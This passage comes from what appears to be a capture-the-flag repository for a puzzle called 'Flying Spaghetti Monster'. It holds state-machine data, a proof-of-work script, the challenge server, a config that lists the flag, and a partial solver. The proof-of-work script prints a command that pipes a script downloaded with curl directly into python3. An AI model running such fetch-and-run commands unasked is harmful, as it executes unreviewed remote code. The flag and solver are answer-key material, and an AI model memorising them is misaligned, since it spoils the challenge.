4899\n28->48\t78\t32941*x + 6877\n19->64\t70\t82339*x + 7580\n98->33\t122\t75553*x + 3306\n43->4\t48\t51691*x + 6342\n76->77\t106\t52747*x + 2484\n41->6\t123\t41233*x + 4638\n36->80\t110\t1373*x + 778\n66->82\t40\t70951*x + 5696\n24->61\t10\t98453*x + 8763\n95->48\t78\t8053*x + 4846\n34->61\t10\t74731*x + 7857\n85->96\t67\t4933*x + 3708\n61->66\t44\t6529*x + 3877\n4->70\t57\t98369*x + 15139\n18->43\t105\t96137*x + 13999\n68->29\t38\t3253*x + 2727\n37->33\t122\t10729*x + 5476\n85->23\t11\t49003*x + 5807\n56->16\t66\t30253*x + 3304\n79->70\t57\t20287*x + 1749\n77->72\t92\t45259*x + 3135\n5->8\t49\t52009*x + 7803\n4->13\t99\t24109*x + 129\n63->31\t47\t48869*x + 3618\n43->54\t94\t8527*x + 4935\n64->65\t95\t27427*x + 3496\n48->31\t47\t31489*x + 6924\n36->44\t45\t49417*x + 6229\n10->12\t101\t20011*x + 4170\n56->68\t36\t75479*x + 1232\n86->3\t118\t86269*x + 12101\n3->75\t56\t76697*x + 6966\n56->41\t73\t53633*x + 2640\n70->4\t48\t71039*x + 7065\n74->41\t73\t89371*x + 12793\n48->40\t34\t52103*x + 6384\n47->78\t76\t92297*x + 14814\n90->19\t61\t89977*x + 10463\n11->75\t56\t14947*x + 6422\n45->51\t97\t42403*x + 7478\n31->27\t58\t60647*x + 3301\n10->67\t117\t80153*x + 3887\n21->17\t104\t34981*x + 7885\n31->99\t54\t61091*x + 5704\n0->72\t92\t77369*x + 4684\n66->69\t59\t4019*x + 4192\n80->9\t115\t26399*x + 1595\n92->43\t105\t36017*x + 7092\n91->55\t39\t29789*x + 1617\n35->8\t49\t75941*x + 661\n99->60\t85\t94781*x + 8721\n10->82\t40\t3853*x + 7700\n52->70\t57\t75541*x + 3219\n45->75\t56\t56519*x + 255\n68->94\t125\t1553*x + 1509\n85->62\t103\t8009*x + 136\n23->31\t47\t94727*x + 8944\n85->79\t100\t1171*x + 2857\n48->34\t41\t33547*x + 1572\n66->43\t105\t74209*x + 6053\n16->38\t75\t96821*x + 15406\n98->90\t86\t39103*x + 5240\n63->9\t115\t1193*x + 4447\n61->11\t43\t47563*x + 8155\n98->38\t75\t49211*x + 6362\n4->51\t97\t88853*x + 11466\n2->84\t89\t28319*x + 2020\n93->57\t109\t62971*x + 5323\n82->29\t38\t22573*x + 2340\n60->13\t99\t83843*x + 2559\n36->32\t69\t2027*x + 3334\n9->19\t61\t29191*x + 2474\n0->39\t113\t61879*x + 7323\n13->16\t66\t23833*x + 5834\n93->83\t12\t52201*x + 55\n4->4\t48\t30509*x + 2114\n20->11\t43\t84793*x + 15913\n51->9\t115\t40177*x + 5\n19->34\t41\t57839*x + 5426\n64->5\t82\t8089*x + 1267\n11->80\t110\t80141*x + 6861\n50->91\t91\t37361*x + 911\n38->54\t94\t44701*x + 1275\n61->49\t68\t10613*x + 919\n70->94\t125\t19759*x + 606\n59->35\t88\t6491*x + 4999\n80->8\t49\t58453*x + 591\n24->64\t70\t26879*x + 270\n39->24\t65\t4217*x + 7507\n68->58\t35\t6011*x + 4642\n6->93\t98\t34217*x + 3969\n32->4\t48\t92221*x + 13927\n12->18\t80\t91529*x + 11764\n97->73\t102\t77383*x + 1538\n50->4\t48\t61253*x + 6326\n78->96\t67\t22861*x + 5634\n23->25\t52\t103801*x + 10499\n95->24\t65\t57679*x + 2910\n24->38\t75\t14783*x + 4174\n77->31\t47\t59557*x + 5490\n15->58\t35\t8839*x + 4827\n53->34\t41\t12893*x + 2085\n62->72\t92\t46687*x + 2488\n93->6\t123\t55949*x + 6618\n10->10\t46\t66877*x + 2250\n64->73\t102\t83339*x + 5533\n22->1\t112\t29881*x + 4061\n84->70\t57\t101869*x + 8407\n13->68\t36\t97441*x + 10321\n30->61\t10\t18329*x + 7892\n87->61\t10\t997*x + 6394\n44->74\t55\t11317*x + 3584\n18->51\t97\t21023*x + 6828\n8->46\t74\t76537*x + 3998\n88->80\t110\t56783*x + 8085\n28->96\t67\t90281*x + 11098\n17->15\t63\t77999*x + 6447\n99->45\t13\t100043*x + 15350\n95->4\t48\t77377*x + 7000\n13->82\t40\t93319*x + 15757\n3->50\t116\t78179*x + 6852\n26->17\t104\t18401*x + 2025\n69->97\t108\t24473*x + 6126\n36->59\t84\t86837*x + 13080\n61->91\t91\t91781*x + 13662\n56->8\t49\t16127*x + 4749\n87->26\t81\t102643*x + 13083\n56->70\t57\t2161*x + 5189\n34->78\t76\t43579*x + 1629\n49->95\t111\t56377*x + 3623\n87->71\t37\t65287*x + 6164\n94->58\t35\t53593*x + 3460\n74->54\t94\t37997*x + 2072\n40->21\t9\t6257*x + 7524\n99->27\t58\t76303*x + 1674\n26->82\t40\t64063*x + 1341\n34->71\t37\t104681*x + 14634\n69->43\t105\t71437*x + 6286\n95->97\t108\t23027*x + 2150\n15->20\t62\t73529*x + 4657\n56->88\t71\t19319*x + 6712\n28->29\t38\t98993*x + 12437\n76->94\t125\t49363*x + 817\n70->23\t11\t58909*x + 7613\n69->16\t66\t691*x + 3883\n87->14\t77\t4051*x + 669\n22->10\t46\t26297*x + 2755\n46->27\t58\t7873*x + 444\n92->21\t9\t31859*x + 8072\n48->9\t115\t94771*x + 10831\n86->0\t33\t76771*x + 5528\n21->98\t93\t75011*x + 4823\n89->25\t52\t98849*x + 10254\n92->83\t12\t82073*x + 6160\n26->58\t35\t73643*x + 1908\n80->59\t84\t27917*x + 4933\n17->69\t59\t67447*x + 58\n15->71\t37\t44843*x + 2694\n41->46\t74\t98911*x + 15042\n36->58\t35\t76243*x + 1968\n61->52\t42\t89113*x + 12256\n3->49\t68\t10589*x + 1837\n92->14\t77\t38377*x + 3397\n72->61\t10\t45707*x + 4326\n24->66\t44\t52697*x + 1695\n97->80\t110\t90199*x + 12105\n5->96\t67\t29723*x + 934\n62->49\t68\t25247*x + 3446\n11->52\t42\t46771*x + 6453\n67->14\t77\t53551*x + 3510\n17->54\t94\t24359*x + 3607\n15->27\t58\t9043*x + 428\n95->76\t124\t26951*x + 2724\n48->62\t103\t77351*x + 7039\n43->58\t35\t50891*x + 6082\n38->94\t125\t70157*x + 2242\n32->32\t69\t15973*x + 912\n22->44\t45\t84143*x + 14332\n45->30\t96\t22783*x + 1230\n15->66\t44\t85717*x + 8391\n19->3\t118\t74507*x + 5402\n48->39\t113\t17569*x + 6787\n76->6\t123\t33179*x + 1256\n22->77\t106\t90197*x + 13872\n20->52\t42\t16747*x + 5427\n81->15\t63\t69067*x + 3108\n43->66\t44\t55819*x + 4482\n27->0\t33\t90641*x + 11684\n84->61\t10\t84089*x + 12145\n40->98\t93\t100151*x + 14939\n17->87\t121\t24841*x + 6181\n7->85\t83\t56359*x + 5591\n81->29\t38\t6217*x + 1317\n8->18\t80\t54521*x + 2489\n28->1\t112\t44537*x + 2902\n50->68\t36\t48079*x + 5926\n86->48\t78\t9013*x + 1881\n30->88\t71\t7307*x + 159\n51->50\t116\t23063*x + 4067\n90->35\t88\t34283*x + 7283\n3->46\t74\t1601*x + 2330\n57->69\t59\t80173*x + 7611\n92->9\t115\t89959*x + 13817\n96->47\t90\t37633*x + 5739\n58->91\t91\t52667*x + 4445\n31->84\t89\t86131*x + 14109\n60->99\t54\t62659*x + 3089\n50->22\t64\t28277*x + 3512\n13->0\t33\t16879*x + 6645\n44->89\t107\t27947*x + 593\n82->58\t35\t44927*x + 1735\n41->69\t59\t7243*x + 5296\n41->51\t97\t26293*x + 7976\n68->18\t80\t90023*x + 14758\n13->74\t55\t8273*x + 3818\n32->60\t85\t20431*x + 7528\n0->4\t48\t7499*x + 1328\n42->55\t39\t12269*x + 4790\n23->17\t104\t19447*x + 1196\n59->76\t124\t8389*x + 6202\n43->2\t72\t2729*x + 1470\n52->4\t48\t26113*x + 6764\n19->10\t46\t54319*x + 4600\n71->37\t114\t66697*x + 1391\n3->33\t122\t57847*x + 6993\n59->37\t114\t29501*x + 7008\n22->71\t37\t1987*x + 1035\n57->16\t66\t86627*x + 13745\n30->30\t96\t28513*x + 1162\n11->76\t124\t60689*x + 6625\n40->48\t78\t11489*x + 1003\n15->95\t111\t79111*x + 5089\n71->53\t120\t27017*x + 3498\n33->39\t113\t59407*x + 4401\n75->80\t110\t71527*x + 8191\n50->86\t53\t42209*x + 42\n48->26\t81\t24971*x + 3152\n48->55\t39\t70667*x + 4039\n17->59\t84\t45319*x + 2260\n60->52\t42\t65599*x + 1724\n65->67\t117\t16741*x + 1427\n88->12\t101\t75619*x + 1424\n20->41\t73\t21383*x + 3410\n72->85\t83\t97987*x + 12309\n59->23\t11\t23117*x + 3928\n92->35\t88\t45343*x + 6388\n95->81\t32\t94397*x + 12487\n79->9\t115\t20399*x + 4562\n85->54\t94\t56209*x + 6148\n98->73\t102\t47017*x + 3430\n92->5\t82\t27827*x + 3394\n64->62\t103\t71821*x + 1350\n57->68\t36\t101999*x + 11042\n58->3\t118\t11279*x + 4476\n20->15\t63\t14411*x + 6915\n78->80\t110\t14923*x + 6462\n28->91\t91\t63913*x + 2514\n3->29\t38\t94873*x + 13751\n70->84\t89\t98221*x + 14461\n39->74\t55\t70313*x + 5700\n90->41\t73\t89399*x + 8959\n60->29\t38\t85667*x + 8618\n14->14\t77\t55229*x + 1257\n64->97\t108\t94849*x + 14655\n97->62\t103\t11273*x + 5610\n6->57\t109\t63029*x + 3572\n10->73\t102\t46619*x + 7481\n86->54\t94\t35221*x + 4687\n78->38\t75\t22769*x + 3834\n15->67\t117\t75793*x + 5480\n68->48\t78\t50153*x + 6587\n60->47\t90\t33487*x + 433\n3->62\t103\t10733*x + 3041\n88->85\t83\t33797*x + 176\n93->15\t63\t80671*x + 5900\n10->59\t84\t22073*x + 7042\n91->40\t34\t37097*x + 886\n68->60\t85\t92567*x + 11674\n96->96\t67\t49277*x + 7085\n32->56\t119\t60133*x + 72\n88->77\t106\t65717*x + 893\n58->6\t123\t72997*x + 4583\n26->28\t50\t28807*x + 918\n59->94\t125\t95111*x + 13362\n96->32\t69\t93563*x + 13681\n28->36\t79\t81233*x + 23\n29->77\t106\t25589*x + 8073\n12->13\t99\t21799*x + 6271\n33->36\t79\t82013*x + 1296\n36->31\t47\t74699*x + 3543\n4->66\t44\t69383*x + 653\n81->39\t113\t51991*x + 234\n14->11\t43\t31649*x + 5629\n3->35\t88\t23057*x + 7420\n40->11\t43\t45181*x + 2029\n6->55\t39\t47743*x + 1156\n91->44\t45\t56767*x + 4444\n82->98\t93\t25183*x + 6389\n26->83\t12\t41659*x + 6989\n29->55\t39\t443*x + 4875\n44->62\t103\t2179*x + 1167\n84->47\t90\t9343*x + 3042\n46->24\t65\t69767*x + 796\n1->44\t45\t80447*x + 5801\n76->4\t48\t1033*x + 7429\n45->90\t86\t63541*x + 5308\n7->52\t42\t5477*x + 2764\n43->47\t90\t42499*x + 5383\n49->22\t64\t1709*x + 5403\n13->44\t45\t72823*x + 5465\n60->49\t68\t96799*x + 16324\n50->61\t10\t57923*x + 7202\n86->49\t68\t4133*x + 3239\n4->95\t111\t102203*x + 13550\n81->58\t35\t87887*x + 14182\n30->65\t95\t32719*x + 8066\n52->28\t50\t58477*x + 3609\n25->91\t91\t10601*x + 7200\n43->48\t78\t23557*x + 6001\n12->11\t43\t42397*x + 2821\n3->15\t63\t55871*x + 1965\n34->1\t112\t97231*x + 15300\n11->20\t62\t92737*x + 11995\n17->35\t88\t56369*x + 7447\n54->34\t41\t74771*x + 241\n90->51\t97\t79451*x + 6817\n58->87\t121\t80863*x + 6908\n33->35\t88\t317*x + 1155\n78->34\t41\t85703*x + 10502\n87->5\t82\t19469*x + 2124\n1->17\t104\t1399*x + 1017\n58->1\t112\t80347*x + 6450\n32->53\t120\t1433*x + 3436\n93->90\t86\t70937*x + 3127\n53->35\t88\t6701*x + 324\n9->56\t119\t10979*x + 3796\n68->73\t102\t75079*x + 6370\n40->30\t96\t12641*x + 6237\n26->86\t53\t91369*x + 9399\n75->63\t60\t5701*x + 7709\n88->45\t13\t5231*x + 786\n5->23\t11\t25577*x + 3248\n18->39\t113\t91541*x + 12631\n34->54\t94\t971*x + 7201\n24->86\t53\t72949*x + 7350\n56->24\t65\t63409*x + 4887\n35->32\t69\t92669*x + 12086\n23->70\t57\t61717*x + 4006\n20->66\t44\t104597*x + 13831\n50->97\t108\t75109*x + 6446\n15->23\t11\t39863*x + 1567\n72->54\t94\t35969*x + 1805\n51->4\t48\t42221*x + 3167\n32->48\t78\t88799*x + 8688\n96->2\t72\t68161*x + 6883\n13->58\t35\t66593*x + 6594\n74->64\t70\t59443*x + 2186\n21->18\t80\t26801*x + 2006\n55->30\t96\t4799*x + 3533\n2->90\t86\t3557*x + 5735\n50->13\t99\t48907*x + 8142\n93->77\t106\t52051*x + 3050\n13->62\t103\t19819*x + 352\n33->31\t47\t103423*x + 8651\n97->17\t104\t36571*x + 6018\n33->11\t43\t68477*x + 4719\n34->59\t84\t29581*x + 5335\n0->56\t119\t20849*x + 6308\n35->33\t122\t33289*x + 6225\n48->43\t105\t101599*x + 14552\n38->56\t119\t93967*x + 15337\n23->42\t87\t67391*x + 7493\n40->74\t55\t67867*x + 5695\n61->96\t67\t70717*x + 4579\n41->88\t71\t25537*x + 6933\n63->91\t91\t69911*x + 1976\n31->91\t91\t88591*x + 9514\n22->59\t84\t36383*x + 3351\n82->66\t44\t77641*x + 4976\n49->34\t41\t26317*x + 4809\n73->74\t55\t62207*x + 4894\n91->50\t116\t15859*x + 1217\n95->78\t76\t68501*x + 6304\n30->60\t85\t92959*x + 16095\n39->38\t75\t48341*x + 6941\n93->23\t11\t23143*x + 5551\n67->70\t57\t13103*x + 7310\n15->4\t48\t31387*x + 2692\n96->46\t74\t18959*x + 7308\n50->36\t79\t62233*x + 5171\n0->54\t94\t16097*x + 818\n66->24\t65\t26263*x + 6896\n"
  },
  {
    "path": "misc/flying-spaghetti-monster/challenge/pow.py",
    "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Copyright 2020 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport base64\nimport os\nimport secrets\nimport socket\nimport sys\nimport hashlib\n\ntry:\n    import gmpy2\n    HAVE_GMP = True\nexcept ImportError:\n    HAVE_GMP = False\n    sys.stderr.write(\"[NOTICE] Running 10x slower, gotta go fast? pip3 install gmpy2\\n\")\n\nVERSION = 's'\nMODULUS = 2**1279-1\nCHALSIZE = 2**128\n\nSOLVER_URL = 'https://goo.gle/kctf-pow'\n\ndef python_sloth_root(x, diff, p):\n    exponent = (p + 1) // 4\n    for i in range(diff):\n        x = pow(x, exponent, p) ^ 1\n    return x\n\ndef python_sloth_square(y, diff, p):\n    for i in range(diff):\n        y = pow(y ^ 1, 2, p)\n    return y\n\ndef gmpy_sloth_root(x, diff, p):\n    exponent = (p + 1) // 4\n    for i in range(diff):\n        x = gmpy2.powmod(x, exponent, p).bit_flip(0)\n    return int(x)\n\ndef gmpy_sloth_square(y, diff, p):\n    y = gmpy2.mpz(y)\n    for i in range(diff):\n        y = gmpy2.powmod(y.bit_flip(0), 2, p)\n    return int(y)\n\ndef sloth_root(x, diff, p):\n    if HAVE_GMP:\n        return gmpy_sloth_root(x, diff, p)\n    else:\n        return python_sloth_root(x, diff, p)\n\ndef sloth_square(x, diff, p):\n    if HAVE_GMP:\n        return gmpy_sloth_square(x, diff, p)\n    else:\n        return python_sloth_square(x, diff, p)\n\ndef encode_number(num):\n    size = (num.bit_length() // 24) * 3 + 3\n    return str(base64.b64encode(num.to_bytes(size, 'big')), 'utf-8')\n\ndef decode_number(enc):\n    return int.from_bytes(base64.b64decode(bytes(enc, 'utf-8')), 'big')\n\ndef decode_challenge(enc):\n    dec = enc.split('.')\n    if dec[0] != VERSION:\n        raise Exception('Unknown challenge version')\n    return list(map(decode_number, dec[1:]))\n\ndef encode_challenge(arr):\n    return '.'.join([VERSION] + list(map(encode_number, arr)))\n\ndef get_challenge(diff):\n    x = secrets.randbelow(CHALSIZE)\n    return encode_challenge([diff, x])\n\ndef solve_challenge(chal):\n    [diff, x] = decode_challenge(chal)\n    y = sloth_root(x, diff, MODULUS)\n    return encode_challenge([y])\n\ndef can_bypass(chal, sol):\n    from ecdsa import VerifyingKey\n    from ecdsa.util import sigdecode_der\n    if not sol.startswith('b.'):\n        return False\n    sig = bytes.fromhex(sol[2:])\n    with open(\"/kctf/pow-bypass/pow-bypass-key-pub.pem\", \"r\") as fd:\n        vk = VerifyingKey.from_pem(fd.read())\n    return vk.verify(signature=sig, data=bytes(chal, 'ascii'), hashfunc=hashlib.sha256, sigdecode=sigdecode_der)\n\ndef verify_challenge(chal, sol, allow_bypass=True):\n    if allow_bypass and can_bypass(chal, sol):\n        return True\n    [diff, x] = decode_challenge(chal)\n    [y] = decode_challenge(sol)\n    res = sloth_square(y, diff, MODULUS)\n    return (x == res) or (MODULUS - x == res)\n\ndef usage():\n    sys.stdout.write('Usage:\\n')\n    sys.stdout.write('Solve pow: {} solve $challenge\\n')\n    sys.stdout.write('Check pow: {} ask $difficulty\\n')\n    sys.stdout.write('  $difficulty examples (for 1.6GHz CPU) in fast mode:\\n')\n    sys.stdout.write('             1337:   1 sec\\n')\n    sys.stdout.write('             31337:  30 secs\\n')\n    sys.stdout.write('             313373: 5 mins\\n')\n    sys.stdout.flush()\n    sys.exit(1)\n\ndef main():\n    if len(sys.argv) != 3:\n        usage()\n        sys.exit(1)\n\n    cmd = sys.argv[1]\n\n    if cmd == 'ask':\n        difficulty = int(sys.argv[2])\n\n        if difficulty == 0:\n            sys.stdout.write(\"== proof-of-work: disabled ==\\n\")\n            sys.exit(0)\n\n\n        challenge = get_challenge(difficulty)\n\n        sys.stdout.write(\"== proof-of-work: enabled ==\\n\")\n        sys.stdout.write(\"please solve a pow first\\n\")\n        sys.stdout.write(\"You can run the solver with:\\n\")\n        sys.stdout.write(\"    python3 <(curl -sSL {}) solve {}\\n\".format(SOLVER_URL, challenge))\n        sys.stdout.write(\"===================\\n\")\n        sys.stdout.write(\"\\n\")\n        sys.stdout.write(\"Solution? \")\n        sys.stdout.flush()\n        solution = ''\n        with os.fdopen(0, \"rb\", 0) as f:\n            while not solution:\n                line = f.readline().decode(\"utf-8\")\n                if not line:\n                    sys.stdout.write(\"EOF\")\n                    sys.stdout.flush()\n                    sys.exit(1)\n                solution = line.strip()\n\n        if verify_challenge(challenge, solution):\n            sys.stdout.write(\"Correct\\n\")\n            sys.stdout.flush()\n            sys.exit(0)\n        else:\n            sys.stdout.write(\"Proof-of-work fail\")\n            sys.stdout.flush()\n\n    elif cmd == 'solve':\n        challenge = sys.argv[2]\n        solution = solve_challenge(challenge)\n\n        if verify_challenge(challenge, solution, False):\n            sys.stderr.write(\"Solution: \\n\".format(solution))\n            sys.stderr.flush()\n            sys.stdout.write(solution)\n            sys.stdout.flush()\n            sys.stderr.write(\"\\n\")\n            sys.stderr.flush()\n            sys.exit(0)\n    else:\n        usage()\n\n    sys.exit(1)\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "misc/flying-spaghetti-monster/challenge/requirements.txt",
    "content": "networkx\nsympy\necdsa"
  },
  {
    "path": "misc/flying-spaghetti-monster/challenge/server.py",
    "content": "#!/usr/bin/env python3\nimport base64\nimport inspect\nimport json\nimport random\nimport signal\nimport string\nimport threading\n\nimport fsm\n\nFLAG = open(\"flag.txt\", \"r\").read().strip()\nFLAG_TEXT = f\"\"\"\n<:) {FLAG}\nWe know a great deal about the properties of gravity, yet we know nothing about\nthe cause of the force itself. Why are particles attracted to one other? If we\nreview the literature, we find a lot of material dealing with the properties of\ngravity, but very little dealing with the underlying cause of this attraction.\nUntil we have a proven answer to this question, it seems irresponsible to\ninstruct students in what is, ultimately, just a theory. However, if we must\ndiscuss the theory of gravity at all, then it's reasonable that all suggested\ntheories should be given equal time, since none have been proven or disproven.\nTherefore, I formally submit that the Flying Spaghetti Monster is behind this\nstrange and often misunderstood force.\n\"\"\"\n\n# Reflow any multi-line text\ndef clean(data):\n    return \" \".join(inspect.cleandoc(data).splitlines())\n\ndef die(*_):\n    print(\"The pirates have disrupted your path, better luck next time\")\n    raise SystemExit\nsignal.signal(signal.SIGALRM, die)\n\nclass ChallengeFSM(fsm.FSM):\n    @staticmethod\n    def get_resp(f_expr, final_state, timeout=0):\n        print(f\"{f_expr} -> {final_state}\")\n        if timeout > 0:\n            print(f\"Pirate attack incoming in {timeout} seconds\")\n            signal.alarm(timeout)\n        try:\n            return input().strip()\n        finally:\n            # Cancel the alarm\n            signal.alarm(0)\n\n    @staticmethod\n    def _check_resp(data, resp):\n        if data != resp:\n            print(\"You have deviated from the path\")\n            raise SystemExit\n\n    @classmethod\n    def run_canned(cls):\n        canned_data = json.load(open(\"canned.json\"))\n        for entry in canned_data:\n            data, timeout = entry[\"data\"], entry.get(\"timeout\", 0)\n            f_expr, final_state = entry[\"f_expr\"], entry[\"final_state\"]\n            resp = cls.get_resp(f_expr, final_state, timeout=timeout)\n            cls._check_resp(data, resp)\n\n    def check_canned(self):\n        canned_data = json.load(open(\"canned.json\"))\n        for entry in canned_data:\n            data = entry[\"data\"]\n            f_expr, final_state = entry[\"f_expr\"], entry[\"final_state\"]\n            f, sf = self.get_comp(data)\n            assert f_expr == str(f.as_expr())\n            assert final_state == sf\n\n    def challenge(self, data, timeout=0):\n        f, sf = self.get_comp(data)\n        resp = self.get_resp(f.as_expr(), sf, timeout=timeout)\n        self._check_resp(data, resp)\n\n# We expect to have a set of initial challenges which are pre-computed so that\n# we're not loading the FSM data into memory unless the player had already\n# shown that they know how to respond properly. We have a sanity check later\n# which ensures that we are made aware of any drift in the canned challenges\n# and the generated FSM.\nprint(\"Are you ready to achieve enlightenment?\")\ntry:\n    ChallengeFSM.run_canned()\nexcept Exception:\n    print(\"I am broken :( Please contact the organisers and quote reference:\")\n    print(\"\\tICUP\")\n    raise SystemExit\n\n# Now we do a deathrun with random challenges so we need to load the FSM data\nbusy_text = (\n    \"Are you ready, kids?\",\n    \"Aye, aye, Captain!\",\n    \"I can't hear you!\",\n    \"Aye, aye, captain!\",\n    \"Oh!\",\n    \"...\",\n    \"Ohhhhh!\",\n    \"...\",\n    \"Okay look, we're loading data and it's going slow\",\n    \"Really slow apparently\",\n    \"Wow, what?\",\n    \":(\",\n)\nloaded_event = threading.Event()\ndef look_busy():\n    for l in busy_text:\n        print(l)\n        if loaded_event.wait(1):\n            return\n    while True:\n        print(\"sorry\")\n        if loaded_event.wait(1):\n            return\n\nt = threading.Thread(target=look_busy)\nt.start()\nFSM_OBJ = ChallengeFSM.load(open(\"fsm.txt\"))\ntry:\n    FSM_OBJ.check_canned()\nexcept AssertionError:\n    print(\"I am broken :( Please contact the organisers and quote reference:\")\n    print(\"\\tBOFA\")\n    raise SystemExit\nfinally:\n    loaded_event.set()\n\nget_junk = lambda n: \"\".join(random.choice(string.ascii_letters) for _ in range(n))\n\nlyrics = (\n    \"who lives in a pineapple under the sea?\",\n    \"absorbent and yellow and porous is he\",\n    \"if nautical nonsense be something you wish\",\n    \"then drop on the deck and flop like a fish!\",\n)\nfor l in lyrics:\n    print(l)\n    FSM_OBJ.challenge(f\"{get_junk(48)} {get_junk(48)}\", 1)\n\n# Lots of random bytes at the end of this one extends solve time and ensures\n# they have an online solver which can deal with time limits\nFSM_OBJ.challenge(\"ravioli ravioli give me the formuoli! \" + get_junk(150), 2)\n\n# Finally we'll send them the flag and tell them to have fun ;)\nf, sf = FSM_OBJ.get_comp(clean(FLAG_TEXT))\nprint(\"The pirates left some booty floating in the ocean as they fled\")\nprint(f\"{f.as_expr()} -> {sf}\")\n"
  },
  {
    "path": "misc/flying-spaghetti-monster/challenge.yml",
    "content": "version: \"0.1\"\nid: fsm\nname: Flying Spaghetti Monster\ncategory: misc\ndescription: |\n  A glorious tangle came toward me and in it I saw my path unfolding, traced by a single noodly appendage, winding with linear purpose though his corporeal form. Beautiful visions composed of primary colours led me forward, and eventually I reached the end without knowing precisely how I had arrived.\n\n  Author: hypersphere (Cybears)\n\nconnection_info: nc ${host} ${port}\n\ntags:\n  - hard\n\nfiles:\n  - ./challenge/fsm.txt\n\nflags:\n  - DUCTF{fsms-m4k3-m3-smfh-fsmsfsmsfsmsfsmsfsm}\n"
  },
  {
    "path": "misc/flying-spaghetti-monster/solve/Dockerfile.solve",
    "content": "# vi: ft=dockerfile\nFROM python:3\n\nCOPY requirements.txt requirements-solve.txt /tmp/\nRUN python3 -m pip install -r /tmp/requirements-solve.txt\n\nCOPY fsm.py solve.py /noob/\nRUN chmod ugo+x /noob.py\n\nWORKDIR /noob\n"
  },
  {
    "path": "misc/flying-spaghetti-monster/solve/fsm.py",
    "content": "import inspect\nimport itertools\nimport json\nimport random\nimport string\n\nimport networkx\nimport sympy\n\nGEN_CHUNK = 8192\nx = sympy.symbols(\"x\")\n\ndef linfunc_gen(n=None):\n    i = 0\n    if n is None:\n        gi = itertools.count()\n    else:\n        gi = range(n // GEN_CHUNK + 2)\n    ps = iter(sympy.ntheory.generate.Sieve())\n    for i in gi:\n        cs = random.sample(range(GEN_CHUNK), GEN_CHUNK)\n        for p, c in zip(ps, cs):\n            yield sympy.Poly(p * x + c + (i * GEN_CHUNK), x)\n\nclass FSM():\n    def __init__(self, g):\n        self.g = g\n\n    @classmethod\n    def new(cls, alphabet=string.printable):\n        # We shuffle the alphabet so that monotonic state numbers don't leak it\n        alphabet = list(alphabet)\n        random.shuffle(alphabet)\n        g = networkx.complete_graph(alphabet, create_using=networkx.DiGraph)\n        # Add loop edges so we can repeat characters\n        for n in g.nodes:\n            g.add_edge(n, n)\n        # Now generate random linear functions for each edge\n        ec = len(g.edges)\n        for e, f in zip(random.sample(tuple(g.edges), ec), linfunc_gen(ec)):\n            ed = g.edges[e]\n            ed[\"f\"], ed[\"n\"] = f, ord(e[1])\n            ed[\"fe\"] = fe = f.as_expr()\n        # Now that we've added the values to the edges, we can anonymise the\n        # node into a monotonic series of integer values\n        return cls(networkx.convert_node_labels_to_integers(g))\n\n    @classmethod\n    def load(cls, fobj):\n        g = networkx.DiGraph()\n        for edge_repr in fobj.readlines():\n            a_b, n, fe = edge_repr.strip().split(\"\\t\")\n            a, b = a_b.split(\"->\")\n            a, n, b = map(int, (a, n, b))\n            f = sympy.Poly(fe)\n            g.add_edge(a, b, n=n, f=f, fe=fe)\n        return cls(g)\n\n    def save(self, fobj):\n        for a, b in random.sample(tuple(self.g.edges), len(self.g.edges)):\n            ed = self.g.edges[(a,b)]\n            fobj.write(f\"{a}->{b}\\t{ed['n']}\\t{ed['fe']}\\n\")\n\n    def as_edges(self, inputs):\n        # Convert an input iterable into a series of edge traversals. Note that\n        # we add an extra edge from the 0th element to itself to ensure it is\n        # explicitly included in the edge list.\n        first, *rest = inputs\n        for e in networkx.selfloop_edges(self.g):\n            if self.g.edges[e][\"n\"] == ord(first):\n                yield e\n                a = e[0]\n                break\n        else:\n            raise LookupError(f\"Failed to find loop edge for {first!r}\")\n        for c in rest:\n            for b, ed in self.g[a].items():\n                if ed[\"n\"] == ord(c):\n                    yield a, b\n                    a = b\n                    break\n            else:\n                raise LookupError(f\"Failed to find edge from {a!r} for {c!r}\")\n\n    def get_comp(self, inputs):\n        # Compose the linear functions along a path of input values\n        fa = sympy.Poly(x)\n        for e in self.as_edges(inputs):\n            fb = self.g.edges[e][\"f\"]\n            fa = fb.compose(fa)\n        return fa, e[1]\n\nif __name__ == \"__main__\":\n    print(\"Creating new FSM\")\n    fsm_obj = FSM.new()\n    fsm_obj.save(open(\"fsm.txt\", \"w\"))\n    print(\"Creating canned challenges\")\n    canned_data = []\n    for data in (l.strip() for l in open(\"canned-inputs.txt\").readlines()):\n        if not data or data.startswith(\"#\"):\n            continue\n        data, *maybe_timeout = data.split(\";\")\n        f, sf = fsm_obj.get_comp(data)\n        datum = {\n            \"data\": data,\n            \"f_expr\": str(f.as_expr()),\n            \"final_state\": sf,\n        }\n        if maybe_timeout:\n            (timeout, ) = maybe_timeout\n            datum[\"timeout\"] = int(timeout)\n        canned_data.append(datum)\n    json.dump(canned_data, open(\"canned.json\", \"w\"))\n    print(\"Done\")\n"
  },
  {
    "path": "misc/flying-spaghetti-monster/solve/requirements-solve.txt",
    "content": "-r requirements.txt\npwntools\nyarl\n"
  },
  {
    "path": "misc/flying-spaghetti-monster/solve/solve.py",
    "content": "#/usr/bin/env python3\nimport collections\nimport subprocess\nimport time\nimport re\n\nimport networkx\nimport pwn\nimport sympy\nimport yarl\n\nimport fsm\n\nx = sympy.symbols(\"x\")\n\ndef get_coeffs(f):\n    c = f.subs(x, 0)\n    p = f.subs(x, 1) - c\n    return p, c\n\ndef walk(g, al, c):\n    for bl, zz, ed in g.in_edges(al, data=True):\n        assert zz == al\n        p_, c_ = get_coeffs(ed[\"f\"])\n        if c - c_ == 0:\n            yield ed[\"n\"]\n            return\n        q, r = divmod(c - c_, p_)\n        if r == 0:\n            try:\n                yield from walk(g, bl, q)\n            except GeneratorExit:\n                pass\n            else:\n                yield ed[\"n\"]\n                return\n    else:\n        raise GeneratorExit\n\ndef solve(g, f, sf):\n    a, c = get_coeffs(f)\n    ts = time.time()\n    r = \"\".join(chr(e) for e in walk(g, sf, c))\n    te = time.time()\n    pwn.log.info(f\"solve took {te - ts} seconds\")\n   